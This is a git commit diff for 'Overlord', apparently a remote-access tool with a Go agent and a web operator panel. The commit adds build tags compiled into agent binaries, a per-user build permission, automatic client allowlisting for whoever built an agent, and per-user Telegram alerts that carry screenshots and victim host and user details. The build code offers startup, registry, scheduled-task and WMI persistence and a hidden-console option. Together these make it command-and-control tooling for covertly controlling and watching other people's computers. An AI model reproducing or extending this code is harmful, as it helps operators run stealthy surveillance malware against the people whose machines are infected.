This commit is contained in:
KingKDot
2026-03-12 21:26:53 -05:00
parent 5da706bc88
commit 409ed35f5b
30 changed files with 1097 additions and 36 deletions
+3 -1
View File
@@ -1,5 +1,7 @@
{
"testing.exclude": {
"**/Overlord-Server/dist/**": true
"**/Overlord-Server/dist/**": true,
"**/dist/Overlord-Client/**": true,
"**/dist-clients/**": true
}
}
@@ -26,6 +26,7 @@ var DefaultMutex = ""
var DefaultID = ""
var DefaultCountry = ""
var DefaultAgentToken = ""
var DefaultBuildTag = ""
const settingsFile = "config/settings.json"
const serverIndexFile = "config/server_index.json"
@@ -60,6 +61,7 @@ type Config struct {
TLSClientCert string
TLSClientKey string
AgentToken string
BuildTag string
}
func Load() Config {
@@ -159,6 +161,7 @@ func Load() Config {
TLSClientCert: tlsClientCert,
TLSClientKey: tlsClientKey,
AgentToken: agentToken,
BuildTag: strings.TrimSpace(DefaultBuildTag),
}
}
+1
View File
@@ -388,6 +388,7 @@ func runSession(ctx context.Context, cancel context.CancelFunc, conn *websocket.
Monitors: capture.MonitorCount(),
MonitorInfo: toWireMonitorInfo(capture.MonitorInfos()),
Country: cfg.Country,
BuildTag: cfg.BuildTag,
}
if err := wire.WriteMsg(ctx, env.Conn, hello); err != nil {
@@ -12,6 +12,7 @@ type Hello struct {
Monitors int `msgpack:"monitors"`
MonitorInfo []MonitorInfo `msgpack:"monitorInfo,omitempty"`
Country string `msgpack:"country,omitempty"`
BuildTag string `msgpack:"buildTag,omitempty"`
}
type MonitorInfo struct {
@@ -57,6 +57,113 @@ func TestHelloMarshaling(t *testing.T) {
}
}
func TestHelloBuildTagMarshaling(t *testing.T) {
t.Run("with build tag", func(t *testing.T) {
hello := Hello{
Type: "hello",
ID: "test-id",
HWID: "test-hwid",
Host: "test-host",
OS: "test-os",
Arch: "test-arch",
Version: "1.0.0",
User: "test-user",
BuildTag: "abc-123-def-456",
}
data, err := msgpack.Marshal(hello)
if err != nil {
t.Fatalf("Failed to marshal Hello with BuildTag: %v", err)
}
var decoded Hello
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal Hello with BuildTag: %v", err)
}
if decoded.BuildTag != "abc-123-def-456" {
t.Errorf("BuildTag mismatch: got %q, want %q", decoded.BuildTag, "abc-123-def-456")
}
if decoded.ID != hello.ID {
t.Errorf("ID mismatch: got %s, want %s", decoded.ID, hello.ID)
}
})
t.Run("without build tag (omitempty)", func(t *testing.T) {
hello := Hello{
Type: "hello",
ID: "test-id",
HWID: "test-hwid",
Host: "test-host",
OS: "test-os",
Arch: "test-arch",
Version: "1.0.0",
User: "test-user",
}
data, err := msgpack.Marshal(hello)
if err != nil {
t.Fatalf("Failed to marshal Hello without BuildTag: %v", err)
}
// Verify buildTag key is not present in the wire data (omitempty)
if bytes.Contains(data, []byte("buildTag")) {
t.Error("Expected buildTag to be omitted from wire data when empty")
}
var decoded Hello
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal Hello without BuildTag: %v", err)
}
if decoded.BuildTag != "" {
t.Errorf("BuildTag should be empty, got %q", decoded.BuildTag)
}
})
t.Run("server-side decode without build tag field", func(t *testing.T) {
// Simulate an older client that doesn't send buildTag at all
type OldHello struct {
Type string `msgpack:"type"`
ID string `msgpack:"id"`
HWID string `msgpack:"hwid"`
Host string `msgpack:"host"`
OS string `msgpack:"os"`
Arch string `msgpack:"arch"`
Version string `msgpack:"version"`
User string `msgpack:"user"`
}
old := OldHello{
Type: "hello",
ID: "old-client",
HWID: "old-hwid",
Host: "old-host",
OS: "windows",
Arch: "amd64",
Version: "0.9.0",
User: "old-user",
}
data, err := msgpack.Marshal(old)
if err != nil {
t.Fatalf("Failed to marshal OldHello: %v", err)
}
var decoded Hello
if err := msgpack.Unmarshal(data, &decoded); err != nil {
t.Fatalf("Failed to unmarshal OldHello into Hello: %v", err)
}
if decoded.BuildTag != "" {
t.Errorf("BuildTag should default to empty for old client, got %q", decoded.BuildTag)
}
if decoded.ID != "old-client" {
t.Errorf("ID mismatch: got %s, want old-client", decoded.ID)
}
})
}
func TestPingPongMarshaling(t *testing.T) {
ping := Ping{
Type: "ping",
+6 -5
View File
@@ -141,7 +141,7 @@ async function init() {
document.getElementById("deploy-link")?.classList.remove("hidden");
}
if (data.role === "admin" || data.role === "operator") {
if (data.role === "admin" || data.role === "operator" || data.canBuild) {
buildLink?.classList.remove("hidden");
}
@@ -149,10 +149,10 @@ async function init() {
scriptsLink?.classList.remove("hidden");
}
if (data.role !== "admin" && data.role !== "operator") {
if (data.role !== "admin" && data.role !== "operator" && !data.canBuild) {
buildBtn.disabled = true;
buildBtn.innerHTML =
'<i class="fa-solid fa-lock"></i> <span>Build requires admin/operator role</span>';
'<i class="fa-solid fa-lock"></i> <span>Build requires permission</span>';
}
await loadServerVersion();
@@ -539,13 +539,14 @@ async function deleteBuild(buildId) {
}
try {
const res = await fetch(`/api/build/${buildId}/delete`, {
const res = await fetch(`/api/build/${encodeURIComponent(buildId)}/delete`, {
method: "DELETE",
credentials: "include",
});
if (!res.ok) {
throw new Error("Failed to delete build");
const data = await res.json().catch(() => ({}));
throw new Error(data.error || "Failed to delete build");
}
const buildElement = document.getElementById(`build-${buildId}`);
+1 -1
View File
@@ -186,7 +186,7 @@ async function loadCurrentUser() {
usersLink?.classList.remove("hidden");
}
if (currentUser.role === "admin" || currentUser.role === "operator") {
if (currentUser.role === "admin" || currentUser.role === "operator" || currentUser.canBuild) {
buildLink?.classList.remove("hidden");
}
+1 -1
View File
@@ -550,7 +550,7 @@ async function checkAuth() {
document.getElementById("build-link")?.classList.remove("hidden");
document.getElementById("plugins-link")?.classList.remove("hidden");
document.getElementById("deploy-link")?.classList.remove("hidden");
} else if (data.role === "operator") {
} else if (data.role === "operator" || data.canBuild) {
document.getElementById("build-link")?.classList.remove("hidden");
}
@@ -7,6 +7,7 @@ export function applyUserRoleUI(user, refs) {
pluginsLink,
scriptsLink,
logsLink,
notificationsLink,
} = refs;
if (!user || !usernameDisplay || !roleBadge) return;
@@ -68,6 +69,7 @@ export function applyUserRoleUI(user, refs) {
}
if (user.role === "admin" || user.role === "operator") {
buildLink?.classList.remove("hidden");
notificationsLink?.classList.remove("hidden");
}
if (user.role !== "viewer") {
scriptsLink?.classList.remove("hidden");
@@ -62,7 +62,7 @@ export function mountNav(host) {
<a
href="/notifications"
id="notifications-link"
class="inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
class="hidden inline-flex items-center gap-2 px-3 py-2 rounded-lg bg-slate-900/70 border border-slate-800 hover:bg-slate-800 text-slate-300 transition-colors"
><i class="fa-solid fa-bell text-yellow-400"></i> Notifications</a
>
<a
@@ -128,5 +128,6 @@ export function mountNav(host) {
pluginsLink: document.getElementById("plugins-link"),
scriptsLink: document.getElementById("scripts-link"),
logsLink: document.getElementById("logs-link"),
notificationsLink: document.getElementById("notifications-link"),
};
}
+1 -1
View File
@@ -60,7 +60,7 @@ async function checkAuth() {
document.getElementById("users-link")?.classList.remove("hidden");
document.getElementById("plugins-link")?.classList.remove("hidden");
document.getElementById("deploy-link")?.classList.remove("hidden");
} else if (data.role === "operator") {
} else if (data.role === "operator" || data.canBuild) {
document.getElementById("build-link")?.classList.remove("hidden");
}
+4
View File
@@ -112,6 +112,10 @@ async function checkAuth() {
document.getElementById("build-link")?.classList.remove("hidden");
}
if (data.canBuild) {
document.getElementById("build-link")?.classList.remove("hidden");
}
if (data.role === "viewer") {
alert("Access denied. Operator or Admin role required.");
window.location.href = "/";
+45
View File
@@ -19,6 +19,9 @@ const prefsForm = document.getElementById("prefs-form");
const prefNotificationsInput = document.getElementById("pref-notifications");
const prefRefreshSecondsInput = document.getElementById("pref-refresh-seconds");
const myTelegramChatIdInput = document.getElementById("my-telegram-chat-id");
const saveMyTelegramBtn = document.getElementById("save-my-telegram");
const bansTableBody = document.getElementById("bans-table-body");
const bansPermissionNote = document.getElementById("bans-permission-note");
const refreshBansBtn = document.getElementById("refresh-bans-btn");
@@ -447,6 +450,46 @@ async function runCertbotAutoSetup() {
}
}
async function loadMyTelegram() {
if (!myTelegramChatIdInput) return;
if (currentUser?.telegramChatId) {
myTelegramChatIdInput.value = currentUser.telegramChatId;
} else {
try {
const res = await fetch("/api/settings/telegram", { credentials: "include" });
if (res.ok) {
const data = await res.json();
myTelegramChatIdInput.value = data.telegramChatId || "";
}
} catch {}
}
}
async function saveMyTelegram() {
if (!myTelegramChatIdInput) return;
const chatId = myTelegramChatIdInput.value.trim();
try {
const res = await fetch("/api/settings/telegram", {
method: "PUT",
headers: { "Content-Type": "application/json" },
credentials: "include",
body: JSON.stringify({ telegramChatId: chatId }),
});
const data = await res.json().catch(() => ({}));
if (!res.ok) {
showMessage(data.error || "Failed to save Telegram settings.", "error");
return;
}
myTelegramChatIdInput.value = data.telegramChatId || "";
showMessage(chatId ? "Telegram chat ID saved." : "Telegram notifications disabled.");
} catch {
showMessage("Failed to save Telegram settings.", "error");
}
}
async function loadBannedIps() {
if (!currentUser) return;
@@ -537,12 +580,14 @@ async function init() {
try {
await loadCurrentUser();
loadPrefs();
await loadMyTelegram();
await loadSecurityPolicy();
await loadTlsSettings();
await loadBannedIps();
passwordForm.addEventListener("submit", updatePassword);
prefsForm.addEventListener("submit", savePrefs);
if (saveMyTelegramBtn) saveMyTelegramBtn.addEventListener("click", saveMyTelegram);
securityForm.addEventListener("submit", saveSecurityPolicy);
tlsForm.addEventListener("submit", saveTlsSettings);
tlsCertbotAutoBtn.addEventListener("click", runCertbotAutoSetup);
+44
View File
@@ -68,6 +68,10 @@ async function getCurrentUser() {
document.getElementById("build-link")?.classList.remove("hidden");
}
if (currentUser.canBuild) {
document.getElementById("build-link")?.classList.remove("hidden");
}
if (currentUser.role !== "admin") {
alert("Access denied. Admin role required.");
window.location.href = "/";
@@ -149,6 +153,13 @@ function renderUsers() {
</td>
<td class="px-6 py-4">
${getRoleBadge(user.role)}
${user.role !== "admin" ? `
<span class="ml-1 inline-flex items-center px-2 py-0.5 rounded-full text-xs font-medium cursor-pointer transition-colors ${user.can_build ? 'bg-green-900/30 text-green-300 border border-green-800 hover:bg-green-900/50' : 'bg-slate-700/30 text-slate-500 border border-slate-700 hover:bg-slate-700/50'}"
data-action="toggle-build" data-user-id="${user.id}" data-username="${escapeHtml(user.username)}" data-can-build="${user.can_build ? 1 : 0}"
title="${user.can_build ? 'Can build (click to revoke)' : 'Cannot build (click to grant)'}">
<i class="fa-solid fa-hammer mr-1"></i>${user.can_build ? 'Build' : 'No Build'}
</span>
` : ''}
</td>
<td class="px-6 py-4 text-sm text-slate-400">
${formatDate(user.created_at)}
@@ -234,6 +245,15 @@ function attachActionListeners() {
}
const listener = (e) => {
const toggleBuild = e.target.closest("[data-action='toggle-build']");
if (toggleBuild) {
const userId = parseInt(toggleBuild.dataset.userId);
const username = toggleBuild.dataset.username;
const canBuild = toggleBuild.dataset.canBuild === "1";
toggleBuildPermission(userId, username, canBuild);
return;
}
const btn = e.target.closest(".user-action-btn");
if (!btn) return;
@@ -429,5 +449,29 @@ window.configureClientAccess = async function (userId, username, role) {
window.location.href = `/user-client-access?${params.toString()}`;
};
window.toggleBuildPermission = async function (userId, username, currentCanBuild) {
const newVal = !currentCanBuild;
if (!confirm(`${newVal ? 'Grant' : 'Revoke'} build permission for ${username}?`)) return;
try {
const res = await fetch(`/api/users/${userId}/can-build`, {
method: "PUT",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ canBuild: newVal }),
});
const data = await res.json();
if (res.ok) {
await loadUsers();
} else {
alert(data.error || "Failed to update build permission");
}
} catch (err) {
console.error("Toggle build permission error:", err);
alert("Network error. Please try again.");
}
};
getCurrentUser();
loadUsers();
+30
View File
@@ -104,6 +104,36 @@
</button>
</form>
<div id="telegram-settings" class="space-y-3 pt-1 border-t border-slate-800 pt-4">
<div>
<h3 class="font-medium">Notification Settings</h3>
<p class="text-xs text-slate-400">
Receive Telegram notifications for clients you have access to.
</p>
</div>
<label class="block">
<span class="text-sm text-slate-300">Your Telegram Chat ID</span>
<input
id="my-telegram-chat-id"
type="text"
placeholder="e.g. 123456789 (leave empty to disable)"
class="mt-1 w-full px-3 py-2 rounded-lg bg-slate-900 border border-slate-700 focus:outline-none focus:ring-2 focus:ring-sky-500"
/>
</label>
<p class="text-xs text-slate-400">
Send <code>/start</code> to the Telegram bot, then use <code>/id</code> or
<a href="https://t.me/userinfobot" target="_blank" rel="noopener" class="text-sky-400 hover:underline">@userinfobot</a>
to find your chat ID.
</p>
<button
type="button"
id="save-my-telegram"
class="px-4 py-2 rounded-lg bg-cyan-700 hover:bg-cyan-600 transition-colors text-white font-medium"
>
<i class="fa-brands fa-telegram mr-2"></i>Save Telegram Settings
</button>
</div>
<form id="security-form" class="space-y-3 pt-1 border-t border-slate-800 pt-4">
<div>
<h3 class="font-medium">Security Policy</h3>
+242
View File
@@ -0,0 +1,242 @@
import { afterAll, describe, expect, test } from "bun:test";
import {
saveBuild,
getBuild,
getBuildByTag,
getAllBuilds,
deleteBuild,
type BuildRecord,
} from "./db";
import {
canUserAccessClient,
createUser,
deleteUser,
getUserByUsername,
getUserClientAccessScope,
listUserClientAccessRules,
setUserClientAccessScope,
} from "./users";
const createdUserIds: number[] = [];
const createdBuildIds: string[] = [];
async function createTempUser(role: "viewer" | "operator" | "admin") {
const username = `bt_${role.slice(0, 3)}_${Date.now().toString(36)}${Math.floor(Math.random() * 1000).toString(36)}`;
const result = await createUser(username, "Aa1!VeryLongTestPassword_2026", role, "test");
expect(result.success).toBe(true);
const user = getUserByUsername(username);
expect(user).not.toBeNull();
createdUserIds.push(user!.id);
return user!;
}
function cleanupCreatedUsers() {
while (createdUserIds.length > 0) {
const id = createdUserIds.pop();
if (typeof id === "number") {
deleteUser(id);
}
}
}
function cleanupCreatedBuilds() {
while (createdBuildIds.length > 0) {
const id = createdBuildIds.pop();
if (typeof id === "string") {
deleteBuild(id);
}
}
}
function saveTempBuild(overrides: Partial<BuildRecord> = {}): BuildRecord {
const build: BuildRecord = {
id: `test-build-${Date.now().toString(36)}${Math.floor(Math.random() * 10000).toString(36)}`,
status: "completed",
startTime: Date.now(),
expiresAt: Date.now() + 7 * 24 * 60 * 60 * 1000,
files: [{ name: "agent", filename: "agent.exe", platform: "windows/amd64", size: 1024 }],
...overrides,
};
saveBuild(build);
createdBuildIds.push(build.id);
return build;
}
afterAll(() => {
cleanupCreatedBuilds();
cleanupCreatedUsers();
});
describe("build tag DB operations", () => {
test("saveBuild stores buildTag and builtByUserId", async () => {
try {
const operator = await createTempUser("operator");
const build = saveTempBuild({
buildTag: "test-tag-abc123",
builtByUserId: operator.id,
});
const retrieved = getBuild(build.id);
expect(retrieved).not.toBeNull();
expect(retrieved!.buildTag).toBe("test-tag-abc123");
expect(retrieved!.builtByUserId).toBe(operator.id);
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
}
});
test("getBuildByTag finds build by its tag", async () => {
try {
const operator = await createTempUser("operator");
const tag = `tag-${Date.now().toString(36)}`;
saveTempBuild({
buildTag: tag,
builtByUserId: operator.id,
});
const found = getBuildByTag(tag);
expect(found).not.toBeNull();
expect(found!.buildTag).toBe(tag);
expect(found!.builtByUserId).toBe(operator.id);
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
}
});
test("getBuildByTag returns null for unknown tag", () => {
const found = getBuildByTag("nonexistent-tag-xyz");
expect(found).toBeNull();
});
test("getAllBuilds includes buildTag and builtByUserId", async () => {
try {
const operator = await createTempUser("operator");
const tag = `alltag-${Date.now().toString(36)}`;
const build = saveTempBuild({
buildTag: tag,
builtByUserId: operator.id,
});
const all = getAllBuilds();
const found = all.find((b) => b.id === build.id);
expect(found).not.toBeNull();
expect(found!.buildTag).toBe(tag);
expect(found!.builtByUserId).toBe(operator.id);
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
}
});
test("build without tag has undefined buildTag", () => {
const build = saveTempBuild();
const retrieved = getBuild(build.id);
expect(retrieved).not.toBeNull();
expect(retrieved!.buildTag).toBeUndefined();
expect(retrieved!.builtByUserId).toBeUndefined();
cleanupCreatedBuilds();
});
});
describe("build tag auto-allowlist logic", () => {
test("operator with scope 'none' gets upgraded to 'allowlist' when build connects", async () => {
try {
const operator = await createTempUser("operator");
expect(getUserClientAccessScope(operator.id)).toBe("none");
const tag = `auto-${Date.now().toString(36)}`;
saveTempBuild({
buildTag: tag,
builtByUserId: operator.id,
});
const build = getBuildByTag(tag);
expect(build).not.toBeNull();
expect(build!.builtByUserId).toBe(operator.id);
// Simulate what handleBuildTagConnection does:
// 1. Look up the build by tag
// 2. If scope is "none", upgrade to "allowlist"
// 3. Add client to allowlist
const clientId = `test-client-${Date.now().toString(36)}`;
const currentScope = getUserClientAccessScope(operator.id);
if (currentScope === "none") {
setUserClientAccessScope(operator.id, "allowlist");
}
const { setUserClientAccessRule } = await import("./users");
setUserClientAccessRule(operator.id, clientId, "allow");
expect(getUserClientAccessScope(operator.id)).toBe("allowlist");
expect(canUserAccessClient(operator.id, operator.role, clientId)).toBe(true);
// Other clients should NOT be accessible
expect(canUserAccessClient(operator.id, operator.role, "other-client")).toBe(false);
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
}
});
test("operator with existing allowlist gets new client added without scope change", async () => {
try {
const operator = await createTempUser("operator");
setUserClientAccessScope(operator.id, "allowlist");
const { setUserClientAccessRule } = await import("./users");
setUserClientAccessRule(operator.id, "existing-client", "allow");
// Now simulate build tag connection adding a new client
const newClientId = `new-client-${Date.now().toString(36)}`;
const currentScope = getUserClientAccessScope(operator.id);
expect(currentScope).toBe("allowlist");
setUserClientAccessRule(operator.id, newClientId, "allow");
expect(canUserAccessClient(operator.id, operator.role, "existing-client")).toBe(true);
expect(canUserAccessClient(operator.id, operator.role, newClientId)).toBe(true);
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
}
});
test("viewer with denylist scope is unmodified on build tag connection", async () => {
try {
const viewer = await createTempUser("viewer");
setUserClientAccessScope(viewer.id, "denylist");
const { setUserClientAccessRule } = await import("./users");
setUserClientAccessRule(viewer.id, "blocked-client", "deny");
const clientId = `new-auto-${Date.now().toString(36)}`;
const currentScope = getUserClientAccessScope(viewer.id);
// With denylist, handleBuildTagConnection does nothing (client allowed by default)
expect(currentScope).toBe("denylist");
expect(canUserAccessClient(viewer.id, viewer.role, clientId)).toBe(true);
expect(canUserAccessClient(viewer.id, viewer.role, "blocked-client")).toBe(false);
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
}
});
test("admin does not get rules added (already has full access)", async () => {
try {
const admin = await createTempUser("admin");
const tag = `admin-tag-${Date.now().toString(36)}`;
saveTempBuild({
buildTag: tag,
builtByUserId: admin.id,
});
// handleBuildTagConnection returns early for admin
expect(getUserClientAccessScope(admin.id)).toBe("all");
const rules = listUserClientAccessRules(admin.id);
expect(rules.length).toBe(0);
} finally {
cleanupCreatedBuilds();
cleanupCreatedUsers();
}
});
});
+32 -3
View File
@@ -67,10 +67,16 @@ db.run(`
status TEXT NOT NULL,
start_time INTEGER NOT NULL,
expires_at INTEGER NOT NULL,
files TEXT NOT NULL
files TEXT NOT NULL,
build_tag TEXT,
built_by_user_id INTEGER
);
`);
try { db.run(`ALTER TABLE builds ADD COLUMN build_tag TEXT`); } catch {}
try { db.run(`ALTER TABLE builds ADD COLUMN built_by_user_id INTEGER`); } catch {}
db.run(`CREATE INDEX IF NOT EXISTS idx_builds_build_tag ON builds(build_tag);`);
db.run(`
CREATE TABLE IF NOT EXISTS notification_screenshots (
id TEXT PRIMARY KEY,
@@ -566,17 +572,21 @@ export interface BuildRecord {
version?: string;
size: number;
}>;
buildTag?: string;
builtByUserId?: number;
}
export function saveBuild(build: BuildRecord) {
db.run(
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files)
VALUES (?, ?, ?, ?, ?)`,
`INSERT OR REPLACE INTO builds (id, status, start_time, expires_at, files, build_tag, built_by_user_id)
VALUES (?, ?, ?, ?, ?, ?, ?)`,
build.id,
build.status,
build.startTime,
build.expiresAt,
JSON.stringify(build.files),
build.buildTag || null,
build.builtByUserId || null,
);
}
@@ -590,6 +600,23 @@ export function getBuild(id: string): BuildRecord | null {
startTime: row.start_time,
expiresAt: row.expires_at,
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
};
}
export function getBuildByTag(buildTag: string): BuildRecord | null {
const row = db.query<any>(`SELECT * FROM builds WHERE build_tag = ?`).get(buildTag);
if (!row) return null;
return {
id: row.id,
status: row.status,
startTime: row.start_time,
expiresAt: row.expires_at,
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
};
}
@@ -603,6 +630,8 @@ export function getAllBuilds(): BuildRecord[] {
startTime: row.start_time,
expiresAt: row.expires_at,
files: JSON.parse(row.files),
buildTag: row.build_tag || undefined,
builtByUserId: row.built_by_user_id || undefined,
}));
}
+37 -4
View File
@@ -3,7 +3,7 @@ import { decodeMessage, encodeMessage, type WireMessage, type PluginManifest } f
import { logger } from "./logger";
import { fileURLToPath } from "url";
import path from "path";
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists } from "./db";
import { upsertClientRow, setOnlineState, listClients, markAllClientsOffline, getBuild, getBuildByTag, getAllBuilds, deleteExpiredBuilds, deleteBuild, getNotificationScreenshot, clearNotificationScreenshots, deleteClientRow, getClientIp, banIp, isIpBanned, clientExists } from "./db";
import { handleFrame, handleHello, handlePing, handlePong } from "./wsHandlers";
import { getMessageByteLength, getMaxPayloadLimit, isAllowedClientMessageType } from "./wsValidation";
import { ClientInfo, ClientRole } from "./types";
@@ -11,7 +11,7 @@ import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "./auth";
import { loadConfig, getConfig } from "./config";
import { flushAuditLogsSync } from "./auditLog";
import { getUserById } from "./users";
import { getUserById, getUsersWithTelegramChatId, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
import { requireAuth, requirePermission } from "./rbac";
import { metrics } from "./metrics";
import { ensureDataDir } from "./paths";
@@ -46,6 +46,7 @@ import {
takePendingNotificationScreenshot,
type NotificationRecord,
type PendingNotificationScreenshot,
type PerUserTelegramRecipient,
} from "./server/notification-delivery";
import {
ensurePluginExtracted as ensurePluginExtractedFromRoot,
@@ -226,8 +227,17 @@ const storeNotificationScreenshotForPending = (
width?: number,
height?: number,
) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) =>
deliverNotificationWithScreenshot(record, getNotificationConfig);
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
const getPerUserRecipients = (clientId: string): PerUserTelegramRecipient[] => {
const usersWithTelegram = getUsersWithTelegramChatId();
return usersWithTelegram.map((u) => ({
userId: u.id,
chatId: u.telegram_chat_id,
canAccessClient: canUserAccessClient(u.id, u.role, clientId),
}));
};
return deliverNotificationWithScreenshot(record, getNotificationConfig, getPerUserRecipients);
};
const notificationPluginHandlers = createNotificationPluginHandlers({
notificationHistory,
@@ -356,6 +366,28 @@ async function startServer() {
},
};
function handleBuildTagConnection(clientId: string, buildTagValue: string) {
if (!buildTagValue) return;
const build = getBuildByTag(buildTagValue);
if (!build || !build.builtByUserId) return;
const userId = build.builtByUserId;
const user = getUserById(userId);
if (!user) return;
if (user.role === "admin") return;
const currentScope = getUserClientAccessScope(userId);
if (currentScope === "none") {
setUserClientAccessScope(userId, "allowlist");
}
if (currentScope === "none" || currentScope === "allowlist") {
setUserClientAccessRule(userId, clientId, "allow");
logger.info(`[build-tag] Auto-added client ${clientId} to user ${user.username}'s allowlist (build: ${build.id.substring(0, 8)})`);
}
}
const lifecycleDeps = {
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
@@ -412,6 +444,7 @@ async function startServer() {
notifyConsoleClosed,
clearPendingNotificationScreenshots: notificationPluginHandlers.clearPendingNotificationScreenshots,
notifyRemoteDesktopStatus,
handleBuildTagConnection,
};
const server = Bun.serve<SocketData>({
+7 -3
View File
@@ -5,6 +5,7 @@ export type Permission =
| "users:manage"
| "clients:control"
| "clients:view"
| "clients:build"
| "audit:view";
export function checkPermission(
@@ -12,7 +13,7 @@ export function checkPermission(
permission: Permission,
): boolean {
if (!user) return false;
return hasPermission(user.role, permission);
return hasPermission(user.role, permission, user.userId);
}
export function checkAnyPermission(
@@ -20,7 +21,7 @@ export function checkAnyPermission(
permissions: Permission[],
): boolean {
if (!user) return false;
return permissions.some((p) => hasPermission(user.role, p));
return permissions.some((p) => hasPermission(user.role, p, user.userId));
}
export function checkAllPermissions(
@@ -28,7 +29,7 @@ export function checkAllPermissions(
permissions: Permission[],
): boolean {
if (!user) return false;
return permissions.every((p) => hasPermission(user.role, p));
return permissions.every((p) => hasPermission(user.role, p, user.userId));
}
export function requireAuth(user: AuthenticatedUser | null): AuthenticatedUser {
@@ -72,6 +73,8 @@ export function getPermissionDescription(permission: Permission): string {
return "Control clients (execute commands, desktop, console, files)";
case "clients:view":
return "View connected clients";
case "clients:build":
return "Build client binaries";
case "audit:view":
return "View audit logs";
default:
@@ -99,6 +102,7 @@ export function getRolePermissions(role: UserRole): Permission[] {
if (hasPermission(role, "clients:control"))
permissions.push("clients:control");
if (hasPermission(role, "clients:view")) permissions.push("clients:view");
if (hasPermission(role, "clients:build")) permissions.push("clients:build");
if (hasPermission(role, "audit:view")) permissions.push("audit:view");
return permissions;
@@ -1,6 +1,7 @@
import { $ } from "bun";
import path from "path";
import fs from "fs";
import { v4 as uuidv4 } from "uuid";
import { saveBuild } from "../db";
import { logger } from "../logger";
import { getConfig } from "../config";
@@ -64,6 +65,7 @@ type BuildProcessConfig = {
persistenceMethod?: string;
hideConsole?: boolean;
noPrinting?: boolean;
builtByUserId?: number;
};
const VALID_PERSISTENCE_METHODS = new Set(['startup', 'registry', 'taskscheduler', 'wmi']);
@@ -221,6 +223,9 @@ export async function startBuildProcess(
sendToStream({ type: "output", text: "Mutex: disabled\n", level: "info" });
}
const buildTag = uuidv4();
sendToStream({ type: "output", text: `Build tag: ${buildTag}\n`, level: "info" });
for (const platform of platformsToBuild) {
const [os, arch, ...rest] = platform.split("-");
const goarm = arch === "armv7" ? "7" : undefined;
@@ -325,6 +330,11 @@ export async function startBuildProcess(
ldflags = ldflags ? `${ldflags} ${agentTokenFlag}` : agentTokenFlag;
}
if (buildTag) {
const buildTagFlag = `-X overlord-client/cmd/agent/config.DefaultBuildTag=${buildTag}`;
ldflags = ldflags ? `${ldflags} ${buildTagFlag}` : buildTagFlag;
}
if (config.hideConsole && os === "windows") {
const hideConsoleFlag = "-H=windowsgui";
ldflags = ldflags ? `${ldflags} ${hideConsoleFlag}` : hideConsoleFlag;
@@ -414,6 +424,8 @@ export async function startBuildProcess(
startTime: build.startTime,
expiresAt: build.expiresAt,
files: build.files as any,
buildTag,
builtByUserId: config.builtByUserId,
});
setTimeout(() => {
@@ -177,6 +177,15 @@ async function postTelegramNotification(
const chatId = (config.telegramChatId || "").trim();
if (!token || !chatId) return;
await sendTelegramToChat(token, chatId, record, screenshot);
}
async function sendTelegramToChat(
token: string,
chatId: string,
record: NotificationRecord,
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`;
try {
if (screenshot?.bytes?.length) {
@@ -198,17 +207,51 @@ async function postTelegramNotification(
body: JSON.stringify({ chat_id: chatId, text }),
});
} catch (err) {
logger.warn("[notify] telegram delivery failed", err);
logger.warn(`[notify] telegram delivery to chat ${chatId} failed`, err);
}
}
export type PerUserTelegramRecipient = {
userId: number;
chatId: string;
canAccessClient: boolean;
};
async function postPerUserTelegramNotifications(
record: NotificationRecord,
getNotificationConfig: () => any,
getPerUserRecipients: (clientId: string) => PerUserTelegramRecipient[],
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const config = getNotificationConfig();
if (!config.telegramEnabled) return;
const token = (config.telegramBotToken || "").trim();
if (!token) return;
const recipients = getPerUserRecipients(record.clientId);
const promises = recipients
.filter((r) => r.canAccessClient && r.chatId)
.map((r) => sendTelegramToChat(token, r.chatId, record, screenshot));
await Promise.allSettled(promises);
}
export async function deliverNotificationWithScreenshot(
record: NotificationRecord,
getNotificationConfig: () => any,
getPerUserRecipients?: (clientId: string) => PerUserTelegramRecipient[],
): Promise<void> {
const screenshot = await waitForNotificationScreenshot(record.id);
await Promise.allSettled([
const deliveries: Promise<void>[] = [
postNotificationWebhook(record, getNotificationConfig, screenshot),
postTelegramNotification(record, getNotificationConfig, screenshot),
]);
];
if (getPerUserRecipients) {
deliveries.push(
postPerUserTelegramNotifications(record, getNotificationConfig, getPerUserRecipients, screenshot),
);
}
await Promise.allSettled(deliveries);
}
@@ -170,6 +170,8 @@ export async function handleAuthRoutes(
role: user.role,
userId: user.userId,
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
telegramChatId: dbUser?.telegram_chat_id || "",
}),
{
headers: { "Content-Type": "application/json" },
